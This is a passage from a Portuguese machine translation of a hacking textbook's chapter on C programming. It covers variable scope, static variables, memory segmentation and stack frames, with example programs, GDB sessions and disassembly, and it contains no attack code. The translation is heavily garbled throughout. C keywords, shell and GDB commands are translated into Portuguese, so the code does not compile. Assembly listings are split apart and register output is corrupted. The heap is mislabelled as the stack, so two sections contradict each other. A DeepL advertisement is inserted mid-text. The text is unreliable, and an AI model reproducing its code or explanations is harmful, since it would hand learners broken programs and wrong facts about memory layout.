j);</p><p>}</p><p>func2() { int i</p><p>= 7;</p><p>printf("\t[in func2] i = %d, j = %d\n", i, j); printf("\t[in</p><p>func2] setting j = 1337\n");</p><p>j = 1337; // Escrever para j</p><p>func3();</p><p>printf("\t [de volta ao func2] i = %d, j = %d\n", i, j);</p><p>}</p><p>func1() { int i</p><p>= 5;</p><p>printf("\t[in func1] i = %d, j = %d\n", i, j);</p><p>func2();</p><p>printf("\t[back in func1] i = %d, j = %d\n", i, j);</p><p>}</p><p>int main()</p><p>{ int i =</p><p>3;</p><p>printf("[in main] i = %d, j = %d\n", i, j);</p><p>func1();</p><p>printf("[back in main] i = %d, j = %d\n", i, j);</p><p>}</p><p>Os resultados da compilação e execução do escopo2.c são os seguintes.</p><p>reader@hacking:~/booksrc $ escopo gcc2.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[no essencial] i = 3, j = 42</p><p>Programação 85</p><p>[em func1] i = 5, j = 42</p><p>[em func2] i = 7, j = 42</p><p>[em func2] ajuste j = 1337</p><p>[em func3] i = 11, j = 999</p><p>[de volta em func2] i = 7, j = 1337</p><p>[de volta ao func1] i = 5, j = 1337</p><p>[de volta ao principal] i = 3, j = 1337</p><p>reader@hacking:~/booksrc $</p><p>Na saída, a variável global j é escrita em func2(), e a mudança persiste em</p><p>todas as funções exceto func3(), que tem sua própria variável local chamada j.</p><p>Neste caso, o compilador prefere usar a variável local. Com todas estas</p><p>variáveis usando os mesmos nomes, pode ser um pouco confuso, mas</p><p>lembre-se que no final, é tudo apenas memória. A variável global j é apenas</p><p>armazenada na memória, e cada função é capaz de acessar essa memória. As</p><p>variáveis locais para cada função são cada uma armazenada em seus próprios</p><p>lugares na memória, independentemente dos nomes idênticos. A impressão</p><p>dos endereços de memória destas variáveis dará uma imagem mais clara do</p><p>que está acontecendo. No escopo3.c código de exemplo abaixo, os endereços</p><p>das variáveis são impressos usando os endereços unários - do operador.</p><p>escopo3.c</p><p>#include <stdio.h></p><p>int j = 42; // j é uma variável</p><p>global. void func3() {</p><p>int i = 11, j = 999; // Aqui, j é uma variável local do func3().</p><p>printf("\t\t[in func3] i @ 0x%08x = %d\n", &i, i); printf("\t\t[in</p><p>func3] j @ 0x%08x = %d\n", &j, j);</p><p>}</p><p>func2() { int i</p><p>= 7;</p><p>printf("\t[in func2] i @ 0x%08x = %d\n", &i, i);</p><p>printf("\t[in func2] j @ 0x%08x = %d\n", &j, j);</p><p>printf("\t[in func2] setting j = 1337\n");</p><p>j = 1337; // Escrever para j</p><p>func3();</p><p>printf("\t[back in func2] i @ 0x%08x = %d\n", &i, i);</p><p>printf("\t[back in func2] j @ 0x%08x = %d\n", &j, j);</p><p>}</p><p>func1() { int i</p><p>= 5;</p><p>printf("\t[in func1] i @ 0x%08x = %d\n", &i, i);</p><p>printf("\t[in func1] j @ 0x%08x = %d\n", &j, j);</p><p>func2();</p><p>printf("\t[back in func1] i @ 0x%08x = %d\n", &i, i);</p><p>printf("\t[back in func1] j @ 0x%08x = %d\n", &j, j);</p><p>}</p><p>86 0 x 2</p><p>0 0</p><p>int main()</p><p>{ int i =</p><p>3;</p><p>printf("[in main] i @ 0x%08x = %d\n", &i,</p><p>i); printf("[in main] j @ 0x%08x = %d\n",</p><p>&j, j); func1();</p><p>printf("[back in main] i @ 0x%08x = %d\n", &i, i);</p><p>printf("[back in main] j @ 0x%08x = %d\n", &j, j);</p><p>}</p><p>Os resultados da compilação e execução do escopo3.c são os seguintes.</p><p>reader@hacking:~/booksrc $ escopo gcc3.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[i @ 0xbffff834 = 3 [in main] j</p><p>@ 0x08049988 = 42</p><p>[em func1] i @ 0xbffff814 = 5</p><p>[em func1] j @ 0x08049988 =</p><p>42</p><p>[em func2] i @ 0xbffff7f4 = 7</p><p>[em func2] j @ 0x08049988 =</p><p>42 [em func2] configuração j =</p><p>1337</p><p>[em func3] i @ 0xbffff7d4 = 11</p><p>[em func3] j @ 0xbffff7d0 = 999</p><p>[de volta no func2] i @ 0xbffff7f4 = 7 [de</p><p>volta no func2] j @ 0x08049988 = 1337</p><p>[de volta no func1] i @ 0xbffff814 = 5 [de</p><p>volta no func1] j @ 0x08049988 = 1337</p><p>[i @ 0xbffff834 = 3 [de volta ao</p><p>principal] j @ 0x08049988 = 1337</p><p>reader@hacking:~/booksrc $</p><p>Nesta saída, é óbvio que a variável j usada pelo func3() é diferente da</p><p>variável j usada pelas outras funções. O j usado pelo func3() está localizado</p><p>em 0xbffff7d0, enquanto o j usado pelas outras funções está localizado em</p><p>0x08049988. Observe também que a variável i é na verdade um endereço de</p><p>memória diferente para cada função.</p><p>Na saída seguinte, o GDB é usado para parar a execução em um ponto de</p><p>parada no func3(). Então o comando backtrace mostra o registro de cada</p><p>chamada de função na pilha.</p><p>reader@hacking:~/booksrc $ gcc -g scope3.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>lista 1</p><p>1 #include <stdio.h></p><p>2</p><p>3 int j = 42; // j é uma variável</p><p>global. 4</p><p>5 func3() {</p><p>6 int i = 11, j = 999; // Aqui, j é uma variável local do func3().</p><p>7 printf("\t\t[in func3] i @ 0x%08x = %d\n",</p>
<p>&i, i);</p><p>Programação 87</p><p>8 printf("\t\t[in func3] j @ 0x%08x = %d\n", &j, j);</p><p>9 }</p><p>88 0 x 2</p><p>0 0</p><p>10</p><p>(gdb) quebra 7</p><p>Ponto de parada 1 em 0x8048388: escopo do</p><p>arquivo3.c, linha 7. (gdb) rodar</p><p>Programa inicial: /home/reader/booksrc/a.out</p><p>[in main] i @ 0xbffff804 = 3</p><p>[j @ 0x08049988 = 42</p><p>[em func1] i @ 0xbffff7e4 = 5</p><p>[em func1] j @ 0x08049988 =</p><p>42</p><p>[em func2] i @ 0xbffff7c4 = 7</p><p>[em func2] j @ 0x08049988 = 42</p><p>[em func2] configuração j =</p><p>1337</p><p>Ponto de parada 1, func3 () no escopo3.c:7</p><p>7 printf("\t\t[in func3] i @ 0x%08x = %d\n", &i, i);</p><p>(gdb) bt</p><p>#0 func3 () no escopo3.c:7</p><p>#1 0x0804841d no func2 () no escopo3.c:17</p><p>#2 0x0804849f no func1 () no escopo3.c:26</p><p>#3 0x0804852b no principal () no</p><p>escopo3.c:35 (gdb)</p><p>O backtrace também mostra as chamadas de função aninhadas,</p><p>observando os registros mantidos na pilha. Cada vez que uma função é</p><p>chamada, um registro chamado estrutura da pilha é colocado na pilha. Cada</p><p>linha no backtrace corresponde a uma estrutura da pilha. Cada estrutura de</p><p>pilha também contém as variáveis locais para esse contexto. As variáveis</p><p>locais contidas em cada estrutura da pilha podem ser mostradas no GDB</p><p>adicionando a palavra completa ao comando de backtrace.</p><p>(gdb) bt cheio</p><p>#0 func3 () no escopo3.c:7</p><p>i = 11</p><p>j = 999</p><p>#1 0x0804841d em func2 () no escopo3.c:17 i</p><p>= 7</p><p>#2 0x0804849f em func1 () no escopo3.c:26</p><p>i = 5</p><p>#3 0x0804852b em principal () no</p><p>escopo3.c:35 i = 3</p><p>(gdb)</p><p>O backtrace completo mostra claramente que a variável local j só</p><p>existe no contexto do func3(). A versão global da variável j é usada nos</p><p>contextos das outras funções.</p><p>Além dos Globais, as variáveis também podem ser definidas como</p><p>variáveis estáticas, prépendendo a palavra-chave estática à definição da</p><p>variável. Semelhante às variáveis globais, uma variável estática permanece</p><p>intacta entre chamadas de função; entretanto, as variáveis estáticas também são</p><p>semelhantes às variáveis locais, pois permanecem locais dentro de um</p><p>contexto de função par- ticular. Uma característica diferente e única das</p><p>Programação 89</p><p>variáveis estáticas é que elas só são inicializadas uma vez. O código em</p><p>static.c ajudará a explicar estes conceitos.</p><p>90 0 x 2</p><p>0 0</p><p>estático.c</p><p>#include <stdio.h></p><p>função vazia() { // Uma função de exemplo, com seu próprio</p><p>contexto int var = 5;</p><p>static int static_var = 5; // Inicialização de variável estática</p><p>printf("\t[in function] var = %d\n", var); printf("\t[in</p><p>function] static_var = %d\n", static_var); var++;</p><p>// Adicionar um a var.</p><p>static_var+++; // Adicionar um a static_var.</p><p>}</p><p>int main() { // A função principal, com seu próprio contexto</p><p>int i;</p><p>static int static_var = 1337; // Outra estática, em um contexto diferente</p><p>for(i=0; i < 5; i++) { // Loop 5 vezes.</p><p>printf("[in main] static_var = %d\n", static_var);</p><p>function(); // Chamar a função.</p><p>}</p><p>}</p><p>A variável estática_var apropriadamente nomeada é definida como uma</p><p>variável estática em dois lugares: dentro do contexto de principal() e dentro do</p><p>contexto de função(). Como as variáveis estáticas são locais dentro de um</p><p>contexto funcional particular, estas variáveis podem ter o mesmo nome, mas</p><p>na verdade elas representam dois locais diferentes na memória. A função</p><p>simplesmente imprime os valores das duas variáveis em seu con-texto e depois</p><p>adiciona 1 a ambas. A compilação e execução deste código mostrará a</p><p>diferença entre as variáveis estáticas e não estáticas.</p><p>reader@hacking:~/booksrc $ gcc static.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[em principal] static_var =</p><p>1337 [em função] var</p><p>= 5</p><p>[em função] static_var = 5</p><p>[em principal] static_var = 1337</p><p>[em função] var = 5</p><p>[em função] static_var = 6</p><p>[em principal] static_var = 1337</p><p>[em função] var = 5</p><p>[em função] static_var = 7</p><p>[em principal] static_var = 1337</p><p>[em função] var = 5</p><p>[em função] static_var = 8</p><p>[em principal] static_var = 1337</p><p>[em função] var = 5</p><p>[em função] static_var = 9</p><p>reader@hacking:~/booksrc $</p><p>Programação 91</p><p>Observe que a static_var retém seu valor entre chamadas</p><p>subseqüentes à função(). Isto porque as variáveis estáticas retêm seus</p><p>valores, mas também porque elas só são inicializadas uma vez. Além disso,</p><p>como as variáveis estáticas são locais para um determinado contexto</p><p>funcional, a static_var no contexto de main() retém seu valor de 1337 o</p><p>tempo todo.</p><p>Mais uma vez, a impressão dos endereços destas variáveis,</p><p>desreferenciando-os com o operador de endereço unário, proporcionará</p><p>maior viabilidade no que realmente está acontecendo. Dê uma olhada no</p><p>static2.c para um exemplo.</p><p>estático2.c</p><p>#include <stdio.h></p><p>função vazia() { // Uma função de exemplo, com seu próprio</p><p>contexto int var = 5;</p><p>static int static_var = 5; // Inicialização de variável estática</p><p>printf("\t[in function] var @ %p = %d\n", &var, var);</p><p>printf("\t[in function] static_var @ %p = %d\n", &static_var, static_var);</p><p>var++; // Adicionar 1 a var.</p><p>static_var+++; // Adicionar 1 a static_var.</p><p>}</p><p>int main() { // A função principal, com seu próprio contexto</p><p>int i;</p><p>static int static_var = 1337; // Outra estática, em um contexto diferente</p><p>for(i=0; i < 5; i++) { // loop 5 vezes</p><p>printf("[in main] static_var @ %p = %d\n", &static_var, static_var);</p><p>function(); // Chamar a função.</p><p>}</p><p>}</p><p>Os resultados da compilação e execução da static2.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc static2.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>[em principal] static_var @ 0x804968c = 1337</p><p>[em função] var @ 0xbffff814 = 5</p><p>[em função] static_var @ 0x8049688 = 5</p><p>[em principal] static_var @ 0x804968c = 1337</p><p>[em função] var @ 0xbffff814 = 5</p><p>[em função] static_var @ 0x8049688 = 6</p><p>[em principal] static_var @ 0x804968c = 1337</p><p>[em função] var @ 0xbffff814 = 5</p><p>[em função] static_var @ 0x8049688 = 7</p><p>[em principal] static_var @ 0x804968c = 1337</p><p>[em função] var @ 0xbffff814 = 5</p><p>[em função] static_var @ 0x8049688 = 8</p><p>[em principal] static_var @ 0x804968c = 1337</p><p>[em função] var @ 0xbffff814 = 5</p><p>[em função] static_var @ 0x8049688 = 9 reader@hacking:~/booksrc $</p><p>92 0 x 2</p><p>0 0</p><p>Com os endereços das variáveis exibidas, é aparente que a static_var em</p><p>main() é diferente da encontrada em function(), já que elas estão localizadas</p><p>em diferentes endereços de memória (0x804968c e 0x8049688, respectivamente).</p><p>Você deve ter notado que os endereços das variáveis locais têm todos</p><p>endereços muito altos, como 0xbffff814, enquanto as variáveis globais e</p><p>estáticas têm todas endereços de memória muito baixos, como 0x0804968c e</p><p>0x8049688. Isso é muito astuto de se notar detalhes como esse e perguntar por</p><p>que é uma das pedras angulares do hacking. Continue lendo para suas</p><p>respostas.</p><p>0x270 Segmentação de memória</p><p>A memória de um programa compilado é dividida em cinco segmentos: texto,</p><p>dados, bss, heap e stack. Cada segmento representa uma porção especial da</p><p>memória que é reservada para um determinado propósito.</p><p>O segmento de texto também é às vezes chamado de segmento de código. É</p><p>aqui que se encontram as instruções de linguagem da máquina montada do</p><p>programa. A execução de instruções neste segmento é não-linear, graças às</p><p>estruturas e funções de controle de alto nível acima mencionadas, que</p><p>compilam em linguagem de ramificação, salto e chamada, instruções em</p><p>linguagem de montagem. Como um programa executa, a PEI é definida para</p><p>a primeira instrução no segmento de texto. O processador então segue um</p><p>loop de execução que faz o seguinte:</p><p>1. Lê a instrução que a EIP está apontando para</p><p>2. Acrescenta o comprimento do byte da instrução à EIP</p><p>3. Executa a instrução que foi lida no passo 1</p><p>4. Volta ao passo 1</p><p>s vezes a instrução será um salto ou uma instrução de chamada, o que</p><p>muda a PEI para um endereço de memória diferente. O processador não se</p><p>importa com a mudança, pois espera que a execução seja não-linear de</p><p>qualquer forma. Se a EIP for alterada no passo 3, o processador apenas</p><p>voltará ao passo 1 e lerá a instrução encontrada no endereço de qualquer EIP</p><p>que tenha sido alterada.</p><p>A permissão de escrita está desativada no segmento de texto, pois não é</p><p>usada para armazenar variáveis,</p>
<p>apenas código. Isto impede que as pessoas</p><p>realmente modifiquem o código pró-grama; qualquer tentativa de escrever</p><p>para este segmento de memória fará com que o programa alerte o usuário</p><p>de que algo ruim aconteceu, e o programa será morto. Outra vantagem</p><p>deste segmento ser somente leitura é que ele pode ser compartilhado entre</p><p>diferentes cópias do programa, permitindo múltiplas execuções do programa</p><p>ao mesmo tempo sem nenhum problema. Deve-se notar também que este</p><p>segmento de memória tem um tamanho fixo, uma vez que nada muda nele.</p><p>Os segmentos de dados e bss são usados para armazenar variáveis de</p><p>programas globais e estáticos. O segmento de dados é preenchido com as variáveis</p><p>inicializadas globais e estáticas, enquanto o segmento bss é preenchido com suas</p><p>contrapartidas não inicializadas. Embora estes segmentos sejam escrevíveis,</p><p>Programação 93</p><p>eles também têm um tamanho fixo. Lembre-se que as variáveis globais</p><p>persistem, apesar do contexto funcional (como a variável j nos exemplos</p><p>anteriores). Tanto as variáveis globais quanto as estáticas são capazes de</p><p>persistir porque são armazenadas em seus próprios segmentos de memória.</p><p>94 0 x 2</p><p>0 0</p><p>O segmento de pilha é um segmento de memória que um programador pode</p><p>controlar diretamente. Blocos de memória neste segmento podem ser alocados e</p><p>utilizados para o que o programador possa precisar. Um ponto notável sobre o</p><p>segmento de pilha é que ela não é de tamanho fixo, portanto pode crescer maior</p><p>ou menor conforme a necessidade. Toda a memória dentro da pilha é gerenciada</p><p>por algoritmos de alocação e desalocação, que respectivamente reservam uma</p><p>região de memória na pilha para uso e removem reservas para permitir que essa</p><p>porção de memória possa ser reutilizada para reservas posteriores. A pilha vai</p><p>crescer e encolher dependendo de quanta memória é reservada para uso. Isto</p><p>significa que um programador que utilize as funções de alocação de memória da</p><p>pilha pode reservar e liberar a memória em tempo real. O crescimento da pilha</p><p>se move para baixo em direção a endereços de memória mais altos.</p><p>O segmento de pilha também tem tamanho variável e é usado como um bloco</p><p>de anotações temporário para armazenar variáveis de funções locais e contexto</p><p>durante chamadas de funções. Isto é o que o comando backtrace do GDB</p><p>observa. Quando um programa chama uma função, essa função terá seu</p><p>próprio conjunto de variáveis passadas, e o código da função estará em um</p><p>local de memória diferente no segmento de texto (ou código). Como o</p><p>contexto e a PEI devem mudar quando uma função é chamada, a pilha é</p><p>usada para lembrar todas as variáveis passadas, o local para o qual a PEI deve</p><p>retornar após a função ser concluída, e todas as variáveis locais usadas por</p><p>essa função. Todas estas informações são armazenadas juntas na pilha no</p><p>que é chamado coletivamente de estrutura de pilha. A pilha contém muitas</p><p>estruturas de empilhamento.</p><p>Em termos gerais de informática, uma pilha é uma estrutura de dados</p><p>abstrata que é usada freqüentemente. Ela tem ordem de primeira entrada,</p><p>última saída (FILO), o que significa que o primeiro item que é colocado em</p><p>uma pilha é o último item a sair dela. Pense nisso como colocando contas em</p><p>um pedaço de fio que tem um nó em uma extremidade, você não pode tirar a</p><p>primeira conta até que você tenha removido todas as outras contas. Quando</p><p>um item é colocado em uma pilha, é conhecido como empurrar, e quando um</p><p>item é removido de uma pilha, é chamado de estalo.</p><p>Como o nome indica, o segmento da pilha de memória é, de fato, uma</p><p>estrutura de pilha de dados, que contém estruturas de pilha. O registro ESP é</p><p>usado para acompanhar o endereço do final da pilha, que está em constante</p><p>mudança à medida que os itens são empurrados para dentro dela e saltados para</p><p>fora dela. Como este é um comportamento muito dinâmico, faz sentido que a</p><p>pilha também não seja de tamanho fixo. Ao contrário do crescimento dinâmico</p><p>da pilha, à medida que a pilha muda de tamanho, ela cresce para cima em uma</p><p>listagem visual de memória, em direção a endereços de memória inferior.</p><p>A natureza FILO de uma pilha pode parecer estranha, mas como a pilha é</p><p>usada para armazenar o contexto, é muito útil. Quando uma função é</p><p>chamada, várias coisas são empurradas juntas para a pilha em uma estrutura</p><p>de pilha. O registro EBP - algumas vezes chamado de ponteiro da estrutura (FP)</p><p>ou ponteiro da base local (LB) - é usado para referenciar variáveis de funções locais</p><p>na estrutura atual da pilha. Cada frame de pilha contém os parâmetros para a</p><p>função, suas variáveis locais e dois indicadores que são necessários para</p><p>colocar as coisas como estavam: o apontador de frame salvo (SFP) e o</p><p>endereço de retorno. O SFP é usado para restaurar o EBP a seu valor anterior,</p><p>Programação 95</p><p>e o endereço de retorno é usado para restaurar o EIP para a próxima</p><p>instrução encontrada após a chamada da função. Isto restaura o contexto</p><p>funcional do quadro de empilhamento anterior.</p><p>96 0 x 2</p><p>0 0</p><p>O seguinte código stack_example.c tem duas funções: main() e</p><p>test_function().</p><p>stack_example.c</p><p>test_function(int a, int b, int c, int d) { int</p><p>flag;</p><p>tampão de carvão[10];</p><p>bandeira =</p><p>31337;</p><p>tampão[0] = 'A';</p><p>}</p><p>int main() {</p><p>test_function(1, 2, 3, 4);</p><p>}</p><p>Este programa primeiro declara uma função de teste que tem quatro</p><p>argumentos, todos declarados como inteiros: a, b, c, e d. As variáveis locais</p><p>para a função incluem um único caractere chamado bandeira e um buffer de</p><p>10 caracteres chamado buffer. A memória para estas variáveis está no</p><p>segmento de pilha, enquanto as instruções da máquina para o código da</p><p>função são armazenadas no segmento de texto. Após a compilação do</p><p>programa, seu funcionamento interno pode ser examinado com GDB. A saída</p><p>seguinte mostra as instruções da máquina desmontada para main() e</p><p>test_function(). A função main() começa em 0x08048357 e a função</p><p>test_function() começa em 0x08048344. As primeiras instruções de cada função</p><p>(mostradas em negrito abaixo) configuram a estrutura da pilha. Estas</p><p>instruções são coletivamente chamadas de prólogo de procedimento ou prólogo</p><p>de função. Elas guardam o ponteiro do quadro na pilha, e guardam a memória da</p><p>pilha para as variáveis locais da função. Às vezes, o prólogo de função</p><p>também manipula algum alinhamento da pilha. As instruções exatas do</p><p>prólogo variam muito dependendo do compilador e das opções do</p><p>compilador, mas em geral estas instruções constroem a estrutura da pilha.</p><p>reader@hacking:~/booksrc $ gcc -g stack_example.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>desassorear main</p><p>Código de assembler para função principal():</p><p>0x08048357 <main+0>: empurr</p><p>ar</p><p>ebp</p><p>0x08048358 <main+1>: mov ebp,esp</p><p>0x0804835a <main+3>: sub esp,0x18</p><p>0x0804835d <main+6>: e esp,0xfffffff0</p><p>0x08048360 <main+9>: mov eax,0x0</p><p>0x08048365 <main+14>: sub esp,eax</p><p>0x08048367 <main+16>: mov DWORD PTR [esp+12],0x4</p><p>0x0804836f <main+24>: mov DWORD PTR [esp+8],0x3</p><p>0x08048377 <main+32>: mov DWORD PTR [esp+4],0x2</p><p>0x0804837f <main+40>: mov DWORD PTR [esp],0x1</p><p>0x08048386 <main+47>: ligu 0x8048344 <função_teste></p><p>Programação 97</p><p>e</p><p>para</p><p>0x0804838b <main+52>: sair</p><p>0x0804838c <main+53>: ret</p><p>72 0 x 2</p><p>0 0</p><p>Fim do despejo do montador</p><p>(gdb) disass test_function()</p><p>Despejo de código de montador para teste_funcionamento:</p><p>0x08048344 <test_function+0>:</p><p>0x08048345 <test_function+1>:</p><p>0x08048347 <test_function+3>:</p><p>empurr</p><p>ar</p><p>mov</p><p>sub</p><p>ebp</p><p>ebp,esp</p><p>esp,0x28</p><p>0x0804834a <test_function+6>: mov DWORD PTR [ebp-12],0x7a69</p><p>0x08048351 <test_function+13>:</p><p>0x08048355 <test_function+17>:</p><p>0x08048356 <test_function+18>:</p><p>0x08048356 <test_function+18>:</p><p>0x08048356</p><p>Fim do despejo do</p><p>montador (gdb)</p><p>mova</p><p>deixar</p><p>ret</p><p>BYTE PTR [ebp-40],0x41</p><p>Quando o programa é executado, a função principal() é chamada, que</p><p>simplesmente chama</p><p>test_function().</p><p>Quando a função test_function() é chamada a partir da função principal(), os</p><p>vários valores são empurrados para a pilha para criar</p>
<p>o início da estrutura da</p><p>pilha da seguinte forma. Quando a função test_function() é chamada, os</p><p>argumentos da função são empurrados para a pilha em ordem inversa (já que</p><p>é FILO). Os argumentos para a função são 1, 2, 3, e 4, então as instruções</p><p>subseqüentes empurram 4, 3, 2, e finalmente 1 para a pilha. Estes valores</p><p>correspondem às variáveis d, c, b, e a na função. As instruções que colocam</p><p>estes valores na pilha são mostradas em negrito na desmontagem da função</p><p>principal() abaixo.</p><p>(gdb) desassoreio principal</p><p>Lixeira de código de montador para função principal:</p><p>0x08048357 <main+0>: empurrar ebp</p><p>0x08048358 <main+1>: mov ebp,esp</p><p>0x0804835a <main+3>: sub esp,0x18</p><p>0x0804835d <main+6>: e esp,0xfffffff0</p><p>0x08048360 <main+9>: mov eax,0x0</p><p>0x08048365 <main+14>: sub esp,eax</p><p>0x08048367 <main+16>: mov DWORD PTR [esp+12],0x4</p><p>0x0804836f <main+24>: movDWORD PTR</p><p>[esp+8],0x3 0x08048377 <main+32>: mov DWORD PTR</p><p>[esp+4],0x2</p><p>0x0804837f <main+40>: movDWORD PTR [esp],0x1</p><p>0x08048386 <main+47>: chamada 0x8048344</p><p><test_function> 0x0804838b <main+52>: sair</p><p>0x0804838c <main+53>: ret</p><p>Fim do despejo do montador</p><p>(gdb)</p><p>Em seguida, quando a instrução de chamada de montagem é executada,</p><p>o endereço de retorno é empurrado para a pilha e o fluxo de execução salta</p><p>Assine o DeepL Pro para traduzir arquivos maiores.</p><p>Mais informações em www.DeepL.com/pro.</p><p>https://www.deepl.com/pro?cta=edit-document&pdf=1</p><p>Programação 73</p><p>para o início do test_function() em 0x08048344. O valor do endereço de retorno</p><p>será o local da instrução seguindo a EIP atual especificamente, o valor</p><p>armazenado</p><p>durante a etapa 3 do ciclo de execução anteriormente mencionado. Neste</p><p>caso, o endereço de retorno apontaria para a instrução de licença no main() em</p><p>0x0804838b.</p><p>A instrução de chamada armazena o endereço de retorno na pilha e salta</p><p>EIP para o início do test_function(), de modo que as instruções de procedimento</p><p>do test_function() pro- logue terminam de construir a estrutura da pilha. Nesta</p><p>etapa, o valor atual do EBP é empurrado para a pilha. Este valor é chamado de</p><p>moldura salva</p><p>74 0 x 2</p><p>0 0</p><p>(SFP) e é mais tarde utilizado para restaurar o EBP de volta ao seu estado</p><p>original. O valor atual do ESP é então copiado para o EBP para definir o novo</p><p>ponteiro de quadro. Este ponteiro de quadro é usado para referenciar as</p><p>variáveis locais da função (bandeira e buffer). A memória é salva para estas</p><p>variáveis, subtraindo-se do ESP. No final, a moldura da pilha parece algo</p><p>parecido com isto:</p><p>Parte de cima da pilha</p><p>Endereços baixos</p><p>Ponteiro da moldura (EBP)</p><p>Endereços altos</p><p>Podemos observar a construção da estrutura da pilha na pilha usando</p><p>GDB. Na saída seguinte, um ponto de parada é definido em main() antes da</p><p>chamada para test_function() e também no início do test_function(). GDB</p><p>colocará o primeiro ponto de parada antes dos argumentos da função serem</p><p>empurrados para a pilha, e o segundo ponto de parada após o prólogo de</p><p>procedimentos test_function(). Quando o programa é executado, a execução</p><p>pára no ponto de parada, onde o ESP (stack pointer), EBP (frame pointer), e EIP</p><p>(execution pointer) do registro são examinados.</p><p>(gdb) lista</p><p>principal 4</p><p>5 bandeira = 31337;</p><p>6 tampão[0] = 'A';</p><p>7 }</p><p>8</p><p>9 int main() {)</p><p>10 test_function(1, 2, 3, 4);</p><p>11 }</p><p>(gdb) quebra 10</p><p>Ponto de parada 1 em 0x8048367: file stack_example.c, linha</p><p>10. (gdb) teste_função de quebra</p><p>Ponto de parada 2 em 0x804834a: file stack_example.c, linha</p><p>5. (gdb) rodar</p><p>Programa inicial: /home/leitor/ livrorc/a.out</p><p>Ponto de parada 1, principal () em stack_example.c:10</p><p>10 test_function(1, 2, 3, 4);</p><p>(gdb) i r esp ebp eip</p><p>esp 0xbffff7f0 0xbffff7f0</p><p>ebp 0xbffff808 0xbffff808</p><p>eip</p><p>tampão</p><p>bandeira</p><p>Ponteiro de moldura salva</p><p>(SFP)</p><p>Endereço de retorno (ret)</p><p>a</p><p>b</p><p>c</p><p>d</p><p>Programação 75</p><p>0x8048363670x8048367 <main+16> (gdb)</p><p>x/5i $eip</p><p>0x804848367 <main+16>: mov DWORD PTR [esp+12],0x4</p><p>76 0 x 2</p><p>0 0</p><p>0x804836f <main+24>: mov DWORD PTR [esp+8],0x3</p><p>0x8048377 <main+32>: mov DWORD PTR [esp+4],0x2</p><p>0x804837f <main+40>: mov DWORD PTR [esp],0x1</p><p>0x8048386 <main+47>: ligu</p><p>e</p><p>par</p><p>a</p><p>0x8048344 <função_teste></p><p>(gdb)</p><p>Este ponto de parada é logo antes da estrutura da pilha para a chamada</p><p>de teste_função() ser criada. Isto significa que o fundo desta nova estrutura de</p><p>pilha está no valor atual de ESP, 0xbffff7f0. O próximo ponto de parada é logo</p><p>após o prólogo de procedimento para a chamada test_function(), portanto, a</p><p>continuação da construção da estrutura da pilha. A saída abaixo mostra</p><p>informações semelhantes no segundo ponto de parada. As variáveis locais</p><p>(bandeira e buffer) são referenciadas em relação ao ponteiro de frame (EBP).</p><p>(gdb) Contínuo.</p><p>Breakpoint 2, test_function (a=1, b=2, c=3, d=4) em stack_example.c:5</p><p>5 bandeira =</p><p>31337; (gdb) i r esp ebp</p><p>eip</p><p>esp 0xbffff7c0 0xbffff7c0</p><p>ebp 0xbffff7e8 0xbffff7e8</p><p>eip 0x804834a 0x804834a <test_function+6></p><p>(gdb) disass test_function</p><p>Despejo de código de montador para teste_funcionamento:</p><p>0x08048344 <test_function+0>: empurr</p><p>ar</p><p>ebp</p><p>0x08048345 <test_function+1>: mov ebp,esp</p><p>0x08048347 <test_function+3>: sub esp,0x28</p><p>0x0804834a <test_function+6>: mov DWORD PTR [ebp-12],0x7a69</p><p>0x08048351 <test_function+13>: mov BYTE PTR [ebp-40],0x41</p><p>0x08048355 <test_function+17>: sair</p><p>0x08048356 <test_function+18>: ret</p><p>Fim do despejo do montador.</p><p>(gdb) imprimir $ebp-12</p><p>$1 = (nulo *) 0xbffff7dc</p><p>(gdb) imprimir $ebp-40</p><p>$2 = (vazio *) 0xbffff7c0</p><p>(gdb) x/16xw $esp</p><p>0xbffff7c0: 0x00000000 0x08049548 0xbffff7d8 0x08048249</p><p>0xbffff7d0: 0xb7f9f729 0xb7fd6ff4 0xbffff808 0x080483b9</p><p>0xbffff7e0: 0xb7fd6ff4 0xbffff89c 0xbffff808 0x0804838b</p><p>0xbffff7f0: 0x00000001 0x00000002 0x00000003 0x00000004</p><p>(gdb)</p><p>A estrutura da pilha é mostrada na pilha no final. Os quatro argumentos</p><p>para a função podem ser vistos na parte inferior da estrutura da pilha ( ), com</p><p>o endereço de retorno encontrado diretamente na parte superior ( ). Acima</p><p>disso está o ponteiro da moldura salva de 0xbffff808 ( ), que é o que a EBP era</p><p>na moldura da pilha anterior. O restante da memória é salvo para as variáveis</p><p>da pilha local: bandeira e buffer. Calculat- ing seus endereços relativos ao EBP</p><p>Programação 77</p><p>mostram suas localizações exatas no stack frame. A memória para a variável</p><p>flag é mostrada em e a memória para a variável buffer é mostrada em . O</p><p>espaço extra na estrutura da pilha é apenas</p><p>acolchoamento.</p><p>78 0 x 2</p><p>0 0</p><p>Após o término da execução, toda a estrutura da pilha é retirada da</p><p>pilha, e o EIP é definido para o endereço de retorno para que o programa</p><p>possa continuar a execução. Se outra função fosse chamada dentro da</p><p>função, outra estrutura da pilha seria empurrada para a pilha, e assim por</p><p>diante. Como cada função termina, sua moldura de pilha é retirada da pilha</p><p>para que a execução possa ser devolvida à função anterior. Este</p><p>comportamento é a razão pela qual este segmento de memória é</p><p>organizado em uma estrutura de dados FILO.</p><p>Os vários segmentos de memória estão dispostos na ordem em que</p><p>foram apresentados, desde os endereços de memória inferior até os</p><p>endereços de memória superior. Como a maioria das pessoas está</p><p>familiarizada em ver listas numeradas que contam para baixo, os endereços</p><p>de memória menores são mostrados na parte superior.</p><p>Alguns textos têm isso ao contrário, o que pode ser muito confuso;</p><p>portanto, para este livro, endereços de memória menores</p><p>são sempre mostrados na parte</p><p>superior. A maioria dos</p><p>depuradores também exibe</p><p>memória neste estilo, com os</p><p>endereços de memória menores na</p><p>parte superior e os mais altos na</p><p>parte inferior.</p><p>Como o monte e a pilha são</p><p>ambos dinâmicos, ambos crescem</p><p>em direções diferentes um para 